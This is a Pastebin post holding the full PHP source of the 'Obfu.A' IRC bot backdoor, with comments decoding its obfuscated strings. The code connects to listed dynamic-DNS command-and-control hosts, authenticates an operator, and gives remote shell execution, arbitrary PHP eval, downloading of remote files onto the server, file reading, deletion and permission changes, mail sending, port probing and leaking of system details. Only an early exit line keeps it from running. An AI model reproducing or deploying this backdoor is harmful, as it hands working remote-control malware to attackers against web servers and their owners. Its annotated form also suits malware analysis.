FlyFar

Obfu.A IRCBot Backdoor - Source Code

Feb 23rd, 2023 (edited)
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.63 KB | Cybersecurity | 0 0
  1. <?php
  2. exit('no...');
  3.  
  4. set_time_limit(0);
  5. ini_set("max_execution_time", 0);
  6. set_magic_quotes_runtime(0);
  7. ini_set('output_buffering', 0);
  8. error_reporting(0);
  9. ignore_user_abort();
  10.  
  11. $settings = array(
  12.     "po" => 8080,                                           // Port
  13.     "sp" => "uJijk4iVsIXRmQ==",                             // Server Password, secretpass
  14.     "ch" => "aFaw",                                         // Channel, ##p
  15.     "ke" => "spd1iYSUqA==",                                 // Channel Key, md5hash
  16.     "ha" => "dG1qQk1halK/nE6N",                             // Admin host RegEx, /:*!*@*.av$/
  17.     "pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=", // Admin password (md5 hash), 9dd4e461268c8034f5c8564e155c67a6
  18.     "tr" => "*",                                            // Command prefix
  19.     "mrnd" => 9,                                            // Nick/User length
  20.     "mo" => "cqtrig==",                                     // -x+i
  21.     "ve" => "dmFyWA=="                                      // 1.27
  22. );
  23.  
  24. function remove_spaces($input)
  25. {
  26.     $input = str_replace(" ", "", $input);
  27.     return $input;
  28. }
  29.  
  30. function decode($input)
  31. {
  32.     $input = base64_decode(remove_spaces($input));
  33.     return $input;
  34. }
  35.  
  36. function connect()
  37. {
  38.     global $settings;
  39.     $logged_in = array(
  40.     );
  41.  
  42.     $last_line = "";
  43.     $servers = array(
  44.         "sqytlpaKo4a/lI6MnaWIiI+zUYSvkA==",     // mymusicband.weedns.com
  45.         "sqywiZKPpZLTk4zDmG6aiYakkZRuhpCR",     // myphonenumber.weedns.com
  46.         "rpihlYyTr5LWVKHDi6SRl0+jko4=",         // ieatironx.weedns.com
  47.         "rZytgpFPr5TDlI7MmW6FiQ==",             // himan.opendns.be
  48.         "sKJuhYdPopDTi5bHlKVRhoY=",             // ko.dd.blueline.be
  49.         "tWeuVFZSclfDVI7CVKKPmYasjI+lUYOJ",     // p4n33123e.dd.blueline.be
  50.         "vaOokJFUbpPOi5jClLNRhoY=",             // xphon3.opendns.be
  51.         "sqywiZKPpVeMipjHlm6RiZU=",             // myphone3.dnip.net
  52.         "sqytlpaKo5eMipjHlm6RiZU="              // mymusics.dnip.net
  53.     );
  54.  
  55.     shuffle($servers);
  56.  
  57.     if (($socket = fsockopen(decrypt_settings($servers[0]), $settings['po'], $errorno, $errorstr, 15))) {
  58.         $current_nick = generate_nick($settings['mrnd']);
  59.  
  60.         if (strlen($settings['sp']) > 0) {
  61.             // UEFTUw==: PASS
  62.             write_file($socket, decode("UEFTUw=="). " " . decrypt_settings($settings['sp']));
  63.         }
  64.  
  65.         // VVNFUg==: USER
  66.         write_file($socket, decode("VVNFUg=="). " " . generate_user($settings['mrnd']).
  67.             " 127.0.0.1 localhost :$current_nick");
  68.  
  69.         // TklDSw==: NICK
  70.         write_file($socket, decode("TklDSw=="). " $current_nick");
  71.  
  72.         while (!feof($socket)) {
  73.             $line = trim(fgets($socket, 512));
  74.             $irc_params = explode(" ", $line);
  75.  
  76.             if (($line == $last_line))
  77.                 continue;
  78.  
  79.             // UElORw==: PING
  80.             if (isset($irc_params[0]) && $irc_params[0] == decode("UElORw==")) {
  81.                 // UE9ORw==: PONG
  82.                 write_file($socket, decode("UE9ORw=="). " " . $irc_params[1]);
  83.             }
  84.             else if (isset($irc_params[1]) && $irc_params[1] == decode("MDAx")) {
  85.                 // TU9ERQ==: MODE
  86.                 write_file($socket, decode("TU9ERQ=="). " $current_nick " . decrypt_settings($settings['mo']));
  87.  
  88.                 // Sk9JTg==: JOIN
  89.                 write_file($socket, decode("Sk9JTg=="). " " . decrypt_settings($settings['ch']). " " .
  90.                     decrypt_settings($settings['ke']));
  91.             }
  92.             else if (isset($params[1]) && $params[1] == decode("NDMz")) {
  93.                 // TklDSw==: NICK
  94.                 write_file($socket, decode("TklDSw=="). " $current_nick");
  95.             }
  96.             else if (isset($irc_params[1]) && isset($logged_in[$irc_params[1]])) {
  97.                 unset($logged_in[$irc_params[1]]);
  98.             }
  99.             // UFJJVk1TRw==: PRIVMSG
  100.             else if (isset($irc_params[1]) && ($irc_params[1] == decode("UFJJVk1TRw==") || $irc_params[1] == "332")) {
  101.                 $full_params = strstr($line, " :");
  102.                 $full_params = substr($full_params, 2);
  103.                 $params = explode(" ", $full_params);
  104.                 $target_host = $irc_params[0];
  105.                 $target_nick = explode("!", $target_host);
  106.                 $target_nick = substr($target_nick[0], 1);
  107.                 $silent = FALSE;
  108.  
  109.                 // VkVSU0lPTg==: VERSION
  110.                 if ($params[0] == "\1" . decode("VkVSU0lPTg=="). "\1") {
  111.                     // VkVSU0lPTg==: VERSION
  112.                     write_file($socket, "NOTICE " . $target_nick . " :\1" . decode("VkVSU0lPTg=="). " " .
  113.                         decrypt_settings($settings['ve']). "\1");
  114.                 }
  115.  
  116.                 for ($i = 0; $i < count($params); $i++) {
  117.                     if ($params[$i] == "-s") {
  118.                         $silent = TRUE;
  119.                     }
  120.                 }
  121.  
  122.                 if ($irc_params[1] == "332") {
  123.                     $target = $irc_params[3];
  124.                 }
  125.                 elseif ($irc_params[2] == $current_nick) {
  126.                     $target = $target_nick;
  127.                 }
  128.                 else {
  129.                     $target = $irc_params[2];
  130.                 }
  131.  
  132.                 if ($params[0] == PHP_OS) {
  133.                     array_shift($params);
  134.                 }
  135.  
  136.                 if (substr($params[0], 0, 1) == $settings['tr']) {
  137.                     if (isset($logged_in[$target_host]) || $irc_params[1] == "332") {
  138.                         switch (substr($params[0], 1)) {
  139.                             // sKM=: lo
  140.                             case decrypt_command("sKM="):
  141.                                 if ($irc_params[1] != "332") {
  142.                                     $logged_in[$target_host] = FALSE;
  143.                                    
  144.                                     // I'm not sure what is up with this, looks like a bug, htmen is not a function
  145.                                     send_irc_message($socket, $silent, $target, htmen("b3V0"));
  146.                                 }
  147.                                 break;
  148.  
  149.                             // qGWaoKKb: d1enow
  150.                             case decrypt_command("qGWaoKKb"):
  151.                                 // UVVJVCA6SSBRVUlU: QUIT :I QUIT
  152.                                 write_file($socket, decode("UVVJVCA6SSBRVUlU"));
  153.                                 fclose($socket);
  154.                                 exit(0);
  155.                                 break;
  156.  
  157.                             // tpWs: raw
  158.                             case decrypt_command("tpWs"):
  159.                                 if (count($params) > 1) {
  160.                                     write_file($socket, substr($full_params, strlen($params[0])));
  161.                                 }
  162.                                 break;
  163.  
  164.                             // sKc=: ls
  165.                             case decrypt_command("sKc="):
  166.                                 if (isset($params[1])) {
  167.                                     $directory = $params[1];
  168.                                 }
  169.                                 else {
  170.                                     $directory = getcwd();
  171.                                 }
  172.  
  173.                                 if (is_dir($directory)) {
  174.                                     if (($handle = opendir($directory))) {
  175.                                         // RGlyLy8gTm93...: Dir// Now listing:
  176.                                         send_irc_message($socket, $silent, $target, decode("RGlyLy8gTm93IGxpc3Rpbmc6"). " \2" .
  177.                                             $directory . "\2");
  178.  
  179.                                         while (($file = readdir($handle)) !== FALSE) {
  180.                                             if ($file != "." && $file != "..") {
  181.                                                 send_irc_message($socket, $silent, $target, "> (" . filetype($directory . "/" .
  182.                                                     $file). ") $file");
  183.                                                 sleep(1);
  184.                                             }
  185.                                         }
  186.  
  187.                                         closedir();
  188.                                     }
  189.                                     else {
  190.                                         // RGlyLy8gVW5h...: Dir// Unable to list contents of
  191.                                         send_irc_message($socket, $silent, $target,
  192.                                             decode("RGlyLy8gVW5hYmxlIHRvIGxpc3QgY29udGVudHMgb2Y="). " \2" . $directory . "\2");
  193.                                     }
  194.                                 }
  195.                                 else {
  196.                                     // RGlyLy8=: Dir//
  197.                                     // aXMgbm90IGEgZGlyIQ==: is not a dir!
  198.                                     send_irc_message($socket, $silent, $target, decode("RGlyLy8="). " \2" . $directory . "\2 " .
  199.                                         decode("aXMgbm90IGEgZGlyIQ=="));
  200.                                 }
  201.                                 break;
  202.  
  203.                             // p5Wp: cat
  204.                             case decrypt_command("p5Wp"):
  205.                                 if (count($params) > 1) {
  206.                                     if (is_file($params[1])) {
  207.                                         if (($file_handle = fopen($params[1], "r"))) {
  208.                                             // Q0FULy8gTm93IHJlYWRpbmcgZmlsZTo=: CAT// Now reading file:
  209.                                             send_irc_message($socket, $silent, $target, decode("Q0FULy8gTm93IHJlYWRpbmcgZmlsZTo=").
  210.                                                 " \2" . $params[1]. "\2");
  211.  
  212.                                             while (!feof($file_handle)) {
  213.                                                 $file_line = trim(fgets($file_handle, 256));
  214.                                                 send_irc_message($socket, $silent, $target, "> $file_line");
  215.                                                 sleep(1);
  216.                                             }
  217.  
  218.                                             send_irc_message($socket, $silent, $target, "> [EOF]");
  219.                                         }
  220.                                         else {
  221.                                             // Q0FULy8gQ291bGRuJ3Qgb3Blbg==: CAT// Couldn't open
  222.                                             send_irc_message($socket, $silent, $target, decode("Q0FULy8gQ291bGRuJ3Qgb3Blbg==").
  223.                                                 " \2" . $params[1]. "\2 for reading.");
  224.                                         }
  225.                                     }
  226.                                     else {
  227.                                         // Q0FULy8=: CAT//
  228.                                         // aXMgbm90IGEgZmlsZQ==: is not a file
  229.                                         send_irc_message($socket, $silent, $target, decode("Q0FULy8="). " \2" . $params[1]. "\2 " .
  230.                                             decode("aXMgbm90IGEgZmlsZQ=="));
  231.                                     }
  232.                                 }
  233.                                 break;
  234.  
  235.                             // tKuZ: pwd
  236.                             case decrypt_command("tKuZ"):
  237.                                 // UFdELy8gQ3VycmVudCBkaXI6: PWD// Current dir:
  238.                                 send_irc_message($socket, $silent, $target, decode("UFdELy8gQ3VycmVudCBkaXI6"). " " . getcwd());
  239.                                 break;
  240.  
  241.                             // p5g=: cd
  242.                             case decrypt_command("p5g="):
  243.                                 if (count($params) > 1) {
  244.                                     if (chdir($params[1])) {
  245.                                         // Q0QvLyBDaGFuZ2VkIGRpciB0bw==: CD// Changed dir to
  246.                                         send_irc_message($socket, $silent, $target, decode("Q0QvLyBDaGFuZ2VkIGRpciB0bw=="). " " .
  247.                                             $params[1]);
  248.                                     }
  249.                                     else {
  250.                                         // Q0QvLyBGYWlsZWQgdG8gY2hhbmdlIGRpcg==: CD// Failed to change dir
  251.                                         send_irc_message($socket, $silent, $target, decode("Q0QvLyBGYWlsZWQgdG8gY2hhbmdlIGRpcg=="));
  252.                                     }
  253.                                 }
  254.                                 break;
  255.  
  256.                             // tqE=: rm
  257.                             case decrypt_command("tqE="):
  258.                                 if (count($params) > 1) {
  259.                                     if (unlink($params[1])) {
  260.                                         // Uk0vLyBEZWxldGVk: RM// Deleted
  261.                                         send_irc_message($socket, $silent, $target, decode("Uk0vLyBEZWxldGVk"). " \2" .
  262.                                             $params[1]. "\2");
  263.                                     }
  264.                                     else {
  265.                                         // Uk0vLyBGYWlsZWQgdG8gZGVsZXRl: RM// Failed to delete
  266.                                         send_irc_message($socket, $silent, $target, decode("Uk0vLyBGYWlsZWQgdG8gZGVsZXRl").
  267.                                             " \2" . $params[1]. "\2");
  268.                                     }
  269.                                 }
  270.                                 break;
  271.  
  272.                             // uKOqlZs=: touch
  273.                             case decrypt_command("uKOqlZs="):
  274.                                 if (count($params) > 1) {
  275.                                     if (touch($params[1])) {
  276.                                         // VG91Y2gvLyBUb3VjaGVk: Touch// Touched
  277.                                         send_irc_message($socket, $silent, $target, decode("VG91Y2gvLyBUb3VjaGVk"). " \2" .
  278.                                             $params[1]. "\2");
  279.                                     }
  280.                                     else {
  281.                                         // VG91Y2gvLyBGYWlsZWQgdG8gdG91Y2g=: Touch// Failed to touch
  282.                                         send_irc_message($socket, $silent, $target, decode("VG91Y2gvLyBGYWlsZWQgdG8gdG91Y2g=").
  283.                                             " \2" . $params[1]. "\2");
  284.                                     }
  285.                                 }
  286.                                 break;
  287.  
  288.                             // t62inpySoA==: symlink
  289.                             case decrypt_command("t62inpySoA=="):
  290.                                 if (count($params) > 2) {
  291.                                     if (symlink($params[1], $params[2])) {
  292.                                         // U3ltTGluay8vIFN5bWxpbmtlZA==: SymLink// Symlinked
  293.                                         send_irc_message($socket, $silent, $target, decode("U3ltTGluay8vIFN5bWxpbmtlZA==").
  294.                                             " \2" . $params[2]. "\2 To \2" . $params[1]. "\2");
  295.                                     }
  296.                                     else {
  297.                                         // U3ltTGluay8vIEZhaWxlZCB0byBsaW5r: SymLink// Failed to link
  298.                                         send_irc_message($socket, $silent, $target, decode("U3ltTGluay8vIEZhaWxlZCB0byBsaW5r").
  299.                                             " \2" . $params[2]. "\2 To \2" . $params[1]. "\2");
  300.                                     }
  301.                                 }
  302.                                 break;
  303.  
  304.                             // p5ykqaE=: chown
  305.                             case decrypt_command("p5ykqaE="):
  306.                                 if (count($params) > 2) {
  307.                                     if (chown($params[1], $params[2])) {
  308.                                         // Q2hvd24vLyBDaG93bmVk: Chown// Chowned
  309.                                         send_irc_message($socket, $silent, $target, decode("Q2hvd24vLyBDaG93bmVk").
  310.                                             " \2" . $params[1]. "\2 To \2" . $params[2]. "\2");
  311.                                     }
  312.                                     else {
  313.                                         // Q2hvd24vLyBGYWlsZWQgdG8gY2hvd24=: Chown// Failed to chown
  314.                                         send_irc_message($socket, $silent, $target, decode("Q2hvd24vLyBGYWlsZWQgdG8gY2hvd24=").
  315.                                             " \2" . $params[1]. "\2 To \2" . $params[2]. "\2");
  316.                                     }
  317.                                 }
  318.                                 break;
  319.  
  320.                             // p5yioZc=: chmod
  321.                             case decrypt_command("p5yioZc="):
  322.                                 if (count($params) > 2) {
  323.                                     if (chmod($params[1], $params[2])) {
  324.                                         // Q2htb2QvLyBDaG1vZGRlZA==: Chmod// Chmodded
  325.                                         send_irc_message($socket, $silent, $target, decode("Q2htb2QvLyBDaG1vZGRlZA==").
  326.                                             " \2" . $params[1]. "\2 with permissions \2" . $params[2]. "\2");
  327.                                     }
  328.                                     else {
  329.                                         // Q2htb2QvLyBGYWlsZWQgdG8gY2htb2Q=: Chmod// Failed to chmod
  330.                                         send_irc_message($socket, $silent, $target, decode("Q2htb2QvLyBGYWlsZWQgdG8gY2htb2Q=").
  331.                                             " \2" . $params[1]. "\2");
  332.                                     }
  333.                                 }
  334.                                 break;
  335.  
  336.                             // sZ+Zm6U=: mkdir
  337.                             case decrypt_command("sZ+Zm6U="):
  338.                                 if (count($params) > 1) {
  339.                                     if (mkdir($params[1])) {
  340.                                         // TUtEaXIvLyBDcmVhdGVkIGRpcmVjdG9yeQ==: MKDir// Created directory
  341.                                         send_irc_message($socket, $silent, $target, decode("TUtEaXIvLyBDcmVhdGVkIGRpcmVjdG9yeQ==").
  342.                                             " \2" . $params[1]. "\2");
  343.                                     }
  344.                                     else {
  345.                                         // TUtEaXIvLyBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeQ==: MKDir// Failed to create directory
  346.                                         send_irc_message($socket, $silent, $target,
  347.                                             decode("TUtEaXIvLyBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeQ=="). " \2" . $params[1]. "\2");
  348.                                     }
  349.                                 }
  350.                                 break;
  351.  
  352.                             // tqGZm6U=: rmdir
  353.                             case decrypt_command("tqGZm6U="):
  354.                                 if (count($params) > 1) {
  355.                                     if (rmdir($params[1])) {
  356.                                         // Uk1EaXIvLyBSZW1vdmVkIGRpcmVjdG9yeQ==: RMDir// Removed directory
  357.                                         send_irc_message($socket, $silent, $target, decode("Uk1EaXIvLyBSZW1vdmVkIGRpcmVjdG9yeQ==").
  358.                                             " \2" . $params[1]. "\2");
  359.                                     }
  360.                                     else {
  361.                                         // Uk1EaXIvLyBGYWlsZWQgdG8gcmVtb3ZlIGRpcmVjdG9yeQ==: RMDir// Failed to remove directory
  362.                                         send_irc_message($socket, $silent, $target,
  363.                                             decode("Uk1EaXIvLyBGYWlsZWQgdG8gcmVtb3ZlIGRpcmVjdG9yeQ=="). " \2" . $params[1]. "\2");
  364.                                     }
  365.                                 }
  366.                                 break;
  367.  
  368.                             // p6Q=: cp
  369.                             case decrypt_command("p6Q="):
  370.                                 if (count($params) > 2) {
  371.                                     if (copy($params[1], $params[2])) {
  372.                                         // Q1AvLyBDb3BpZWQ=: CP// Copied
  373.                                         send_irc_message($socket, $silent, $target, decode("Q1AvLyBDb3BpZWQ="). " \2" . $params[1].
  374.                                             "\2 to \2" . $params[2]. "\2");
  375.                                     }
  376.                                     else {
  377.                                         // Q1AvLyBGYWlsZWQgdG8gY29weQ==: CP// Failed to copy
  378.                                         send_irc_message($socket, $silent, $target, decode("Q1AvLyBGYWlsZWQgdG8gY29weQ=="). " \2" .
  379.                                             $params[1]. "\2 to \2" . $params[2]. "\2");
  380.                                     }
  381.                                 }
  382.                                 break;
  383.  
  384.                             // sZWeng==: mail
  385.                             case decrypt_command("sZWeng=="):
  386.                                 if (count($params) > 4) {
  387.                                     $from = "From: <" . $params[2]. ">\r\n";
  388.  
  389.                                     if (mail($params[1], $params[3], substr($full_params, $params[4]), $from)) {
  390.                                         // TWFpbC8v: Mail//
  391.                                         send_irc_message($socket, $silent, $target, decode("TWFpbC8v"). " Message sent to \2" .
  392.                                             $params[1]. "\2");
  393.                                     }
  394.                                     else {
  395.                                         // TWFpbC8v: Mail//
  396.                                         send_irc_message($socket, $silent, $target, decode("TWFpbC8v"). " Send failure");
  397.                                     }
  398.                                 }
  399.                                 break;
  400.  
  401.                             // sZ+ilmg=: mkmd5
  402.                             case decrypt_command("sZ+ilmg="):
  403.                                 // TUQ1Ly8=: MD5//
  404.                                 send_irc_message($socket, $silent, $target, decode("TUQ1Ly8="). " " . md5($params[1]));
  405.                                 break;
  406.  
  407.                             // qKKo: dns
  408.                             case decrypt_command("qKKo"):
  409.                                 if (isset($params[1])) {
  410.                                     $ip_array = explode(".", $params[1]);
  411.  
  412.                                     if (count($ip_array) == 4 && is_numeric($ip_array[0]) && is_numeric($ip_array[1]) &&
  413.                                         is_numeric($ip_array[2]) && is_numeric($ip_array[3])) {
  414.                                         // RE5TLy8=: DNS//
  415.                                         send_irc_message($socket, $silent, $target, decode("RE5TLy8="). " " . $params[1]. " -> " .
  416.                                             gethostbyaddr($params[1]));
  417.                                     }
  418.                                     else {
  419.                                         // RE5TLy8=: DNS//
  420.                                         send_irc_message($socket, $silent, $target, decode("RE5TLy8="). " " . $params[1]. " -> " .
  421.                                             gethostbyname($params[1]));
  422.                                     }
  423.                                 }
  424.                                 break;
  425.  
  426.                             // tpmoppSWqQ==: restart
  427.                             case decrypt_command("tpmoppSWqQ=="):
  428.                                 // UVVJVCA6UVVJVC4uLg==: QUIT :QUIT...
  429.                                 write_file($socket, decode("UVVJVCA6UVVJVC4uLg=="));
  430.                                 fclose($socket);
  431.                                 connect();
  432.                                 break;
  433.  
  434.                             // tqI=: rn
  435.                             case decrypt_command("tqI="):
  436.                                 if (isset($params[1])) {
  437.                                     $current_nick = generate_nick((int)$params[1]);
  438.  
  439.                                     // TklDSw==: NICK
  440.                                     write_file($socket, decode("TklDSw=="). " $current_nick");
  441.                                 }
  442.                                 else {
  443.                                     $current_nick = generate_nick($settings['mrnd']);
  444.  
  445.                                     // TklDSw==: NICK
  446.                                     write_file($socket, decode("TklDSw=="). " $current_nick");
  447.                                 }
  448.                                 break;
  449.  
  450.                             // tJyl: php
  451.                             case decrypt_command("tJyl"):
  452.                                 if (count($params) > 1) {
  453.                                     eval(substr($full_params, strlen($params[0])));
  454.                                 }
  455.                                 break;
  456.  
  457.                             // q5mp: get
  458.                             case decrypt_command("q5mp"):
  459.                                 if (count($params) > 2) {
  460.                                     if (!($file_handle = fopen($params[2], "w"))) {
  461.                                         // R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ=: Get// Permission denied
  462.                                         send_irc_message($socket, $silent, $target,
  463.                                             decode("R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ="));
  464.                                     }
  465.                                     else {
  466.                                         if (!($file_array = file($params[1]))) {
  467.                                             // R2V0Ly8gUGVybWlzc2lvbiBkZW5pZWQ=: Get// Bad URL/DNS error
  468.                                             send_irc_message($socket, $silent, $target,
  469.                                                 decode("R2V0Ly8gQmFkIFVSTC9ETlMgZXJyb3I="));
  470.                                         }
  471.                                         else {
  472.                                             for ($i = 0; $i < count($file_array); $i++) {
  473.                                                 fwrite($file_handle, $file_array[$i]);
  474.                                             }
  475.  
  476.                                             // R2V0Ly8=: Get//
  477.                                             send_irc_message($socket, $silent, $target, decode("R2V0Ly8=").
  478.                                                 " \2" . $params[1]. "\2 downloaded to \2" . $params[2]. "\2");
  479.                                         }
  480.                                         fclose($file_handle);
  481.                                     }
  482.                                 }
  483.                                 break;
  484.  
  485.                             // sp0=: ni
  486.                             case decrypt_command("sp0="):
  487.                                 // TmV0SW5mby8v: NetInfo//
  488.                                 send_irc_message($socket, $silent, $target, decode("TmV0SW5mby8v"). " IP: " . $_SERVER['SERVER_ADDR'].
  489.                                     " Hostname: " . $_SERVER['SERVER_NAME']);
  490.                                 break;
  491.  
  492.                             // t50=: si
  493.                             case decrypt_command("t50="):
  494.                                 // U3lzaW5mby8v: Sysinfo//
  495.                                 send_irc_message($socket, $silent, $target, decode("U3lzaW5mby8v"). " [User: " . get_current_user().
  496.                                     "] [PID: " . getmypid(). "] [Version: PHP " . phpversion(). "] [OS: " . PHP_OS .
  497.                                     "] [Server_software: " . $_SERVER['SERVER_SOFTWARE']. "] [Server_name: " . $_SERVER['SERVER_NAME'].
  498.                                     "] [Admin: " . $_SERVER['SERVER_ADMIN']. "] [Docroot: " . $_SERVER['DOCUMENT_ROOT']. "] [HTTP Host:
  499.                                     " . $_SERVER['HTTP_HOST']. "] [URL: " . $_SERVER['REQUEST_URI']. "]");
  500.                                 break;
  501.  
  502.                             // tKOnpqKUmuw=: portopen
  503.                             case decrypt_command("tKOnpqKUmuw="):
  504.                                 if (isset($params[1], $params[2])) {
  505.                                     if (fsockopen($params[1], (int)$params[2], $t56bd7107802eb, $errorstr, 5)) {
  506.                                         // UG9ydENoay8v: PortChk//
  507.                                         send_irc_message($socket, $silent, $target, "" . decode("UG9ydENoay8v"). " " . $params[1].
  508.                                             ":" . $params[2]. " is \2Open\2");
  509.                                     }
  510.                                     else {
  511.                                         // UG9ydENoay8v: PortChk//
  512.                                         send_irc_message($socket, $silent, $target, "" . decode("UG9ydENoay8v"). " " . $params[1].
  513.                                             ":" . $params[2]. " is \2Closed\2");
  514.                                     }
  515.                                 }
  516.                                 break;
  517.  
  518.                             // uaKWn5g=: uname
  519.                             case decrypt_command("uaKWn5g="):
  520.                                 // VW5hbWUvLw==: Uname//
  521.                                 send_irc_message($socket, $silent, $target, decode("VW5hbWUvLw=="). " " . php_uname());
  522.                                 break;
  523.  
  524.                             // rZg=: id
  525.                             case decrypt_command("rZg="):
  526.                                 // SUQvLw==: ID//
  527.                                 send_irc_message($socket, $silent, $target, decode("SUQvLw=="). " " . getmypid());
  528.                                 break;
  529.  
  530.                             // p6GZ: cmd
  531.                             case decrypt_command("p6GZ"):
  532.                                 if (count($params) > 1) {
  533.                                     $process_handle = popen(substr($full_params, strlen($params[0])), "r");
  534.  
  535.                                     while (!feof($process_handle)) {
  536.                                         $output = trim(fgets($process_handle, 512));
  537.  
  538.                                         if (strlen($output) > 0) {
  539.                                             send_irc_message($socket, $silent, $target, "> " . $output);
  540.                                             sleep(1);
  541.                                         }
  542.                                     }
  543.  
  544.                                     // PiBbRU9GXQ==: > [EOF]
  545.                                     send_irc_message($socket, $silent, $target, decode("PiBbRU9GXQ=="));
  546.                                 }
  547.                                 break;
  548.  
  549.                             // qayalaiYmg==: execute
  550.                             case decrypt_command("qayalaiYmg=="):
  551.                                 execute(substr($full_params, strlen($params[0])));
  552.                                 break;
  553.                         }
  554.                     }
  555.                     else {
  556.                         switch (substr($params[0], 1)) {
  557.                             // bg==: *
  558.                             case decrypt_command("bg=="):
  559.                                 if (isset($params[1]) &&
  560.                                     md5($params[1]) == decrypt_settings($settings['pa']) &&
  561.                                     preg_match(decrypt_settings($settings['ha']), $target_host)) {
  562.  
  563.                                     // UmVhZHkvLyBPaw==: Ready// Ok
  564.                                     send_irc_message($socket, $silent, $target, decode("UmVhZHkvLyBPaw=="));
  565.                                     $logged_in[$target_host] = TRUE;
  566.                                 }
  567.                                 else {
  568.                                     // UmVhZHkvLyByZWplY3RlZA==: Ready// rejected
  569.                                     send_irc_message($socket, FALSE, decrypt_settings($settings['ch']),
  570.                                         decode("UmVhZHkvLyByZWplY3RlZA=="));
  571.                                 }
  572.  
  573.                                 break;
  574.                         }
  575.                     }
  576.                 }
  577.             }
  578.  
  579.             $last_line = $line;
  580.         }
  581.  
  582.         fclose($socket);
  583.         sleep(3);
  584.         connect();
  585.     }
  586.     else {
  587.         shuffle($servers);
  588.         connect();
  589.     }
  590. }
  591.  
  592. function write_file($handle, $text)
  593. {
  594.     fwrite($handle, "$text\r\n");
  595. }
  596.  
  597. function send_irc_message($socket, $silent, $target, $text)
  598. {
  599.     if ($silent != TRUE) {
  600.         // UFJJVk1TRw==: PRIVMSG
  601.         write_file($socket, decode("UFJJVk1TRw=="). " $target :$text");
  602.     }
  603. }
  604.  
  605. function decrypt_command($input)
  606. {
  607.     $output = '';
  608.     $input = base64_decode($input);
  609.  
  610.     for ($i = 0; $i < strlen($input); $i++) {
  611.         $character = substr($input, $i, 1);
  612.         // NDU...: 4523$5~321443425^fdGsdfG#$6@353@$5@#$5@54475&45&6%7%^^8^&*@!~#4~23432$@#!4!23$3%34%2#$5#@$5234%6%4678^&!@3D
  613.         // Strlen: 107
  614.         $offset_character = substr(
  615.             decode("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKkAhfiM0fjIzNDM" .
  616.                 "yJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q="),
  617.             ($i % strlen(decode("NDUyMyQ1fjMyMTQ0MzQyNV5mZEdzZGZHIyQ2QDM1M0AkNUAjJDVANTQ0NzUmNDUmNiU3JV5eOF4mKk" .
  618.                 "AhfiM0fjIzNDMyJEAjITQhMjMkMyUzNCUyIyQ1I0AkNTIzNCU2JTQ2NzheJiFAM0Q="))) - 1,
  619.             1
  620.         );
  621.         $character = chr(ord($character) - ord($offset_character));
  622.         $output .= $character;
  623.     }
  624.     return $output;
  625. }
  626.  
  627. function generate_nick($length)
  628. {
  629.     $return = '';
  630.    
  631.     for ($i = 0; $i < $length; $i++) {
  632.         $return .= chr(mt_rand(0, 25) + 97);
  633.     }
  634.     if (posix_getegid() == 0) {
  635.         $return = "r-" . $t2cb9df9898e55;
  636.     }
  637.     return $return;
  638. }
  639.  
  640. function execute($command)
  641. {
  642.     $output = '';
  643.  
  644.     if (!empty($command)) {
  645.         if (function_exists('exec')) {
  646.             @exec($command, $output);
  647.             $output = join("\n", $output);
  648.         }
  649.         elseif (function_exists('shell_exec')) {
  650.             $output = @shell_exec($command);
  651.         }
  652.         elseif (function_exists('system')) {
  653.             @ob_start();
  654.             @system($command);
  655.             $output = @ob_get_contents();
  656.             @ob_end_clean();
  657.         }
  658.         elseif (function_exists('passthru')) {
  659.             @ob_start();
  660.             @passthru($command);
  661.             $output = @ob_get_contents();
  662.             @ob_end_clean();
  663.         }
  664.         elseif (@is_resource($handle = @popen($command, "r"))) {
  665.             $output = "";
  666.  
  667.             while (!@feof($handle)) {
  668.                 $output .= @fread($handle, 1024);
  669.             }
  670.  
  671.             @pclose($handle);
  672.         }
  673.     }
  674.     return $output;
  675. }
  676.  
  677. function decrypt_settings($input)
  678. {
  679.     $output = '';
  680.     $input = base64_decode($input);
  681.  
  682.     for ($i = 0; $i < strlen($input); $i++) {
  683.         $character = substr($input, $i, 1);
  684.         // M0A...: 3@!#!@$^&*^&@#$!@#!@#!$#%#$%#$%e32@34@hTh4@we5635^!@#*^7FHGE$@%@#@#$@#!@#$!@#@!#$#%#$%^%&^%&%^&*SDF#@$!FAW$FAASDE
  685.         // Strlen: 113
  686.         $offset_character = substr(
  687.             decode("M0AhIyFAJF4mKl4mQCMkIUAjIUAjISQjJSMkJSMkJWUzMkAzNEBoVGg0QHdlNTYzNV4hQCMqXjdGSEdFJEAlQCNAIyRAIyFAIyQhQCNAISMkIyUj" .
  688.                 "JCVeJSZeJSYlXiYqU0RGI0AkIUZBVyRGQUFTREU="),
  689.             ($i % strlen(decode("M0AhIyFAJF4mKl4mQCMkIUAjIUAjISQjJSMkJSMkJWUzMkAzNEBoVGg0QHdlNTYzNV4hQCMqXjdGSEdFJEAlQCNAIyRAIyFAIyQ" .
  690.                 "hQCNAISMkIyUjJCVeJSZeJSYlXiYqU0RGI0AkIUZBVyRGQUFTREU="))) - 1,
  691.             1
  692.         );
  693.         $character = chr(ord($character) - ord($offset_character));
  694.         $output .= $character;
  695.     }
  696.     return $output;
  697. }
  698.  
  699. function generate_user($length)
  700. {
  701.     $return = "";
  702.  
  703.     for ($i = 0; $i < $length; $i++) {
  704.         $return .= chr(mt_rand(0, 25) + 97);
  705.     }
  706.     return $return;
  707. }
  708.  
  709. connect();
  710. ?>
Tags: php Backdoor
Add Comment
Please, Sign In to add comment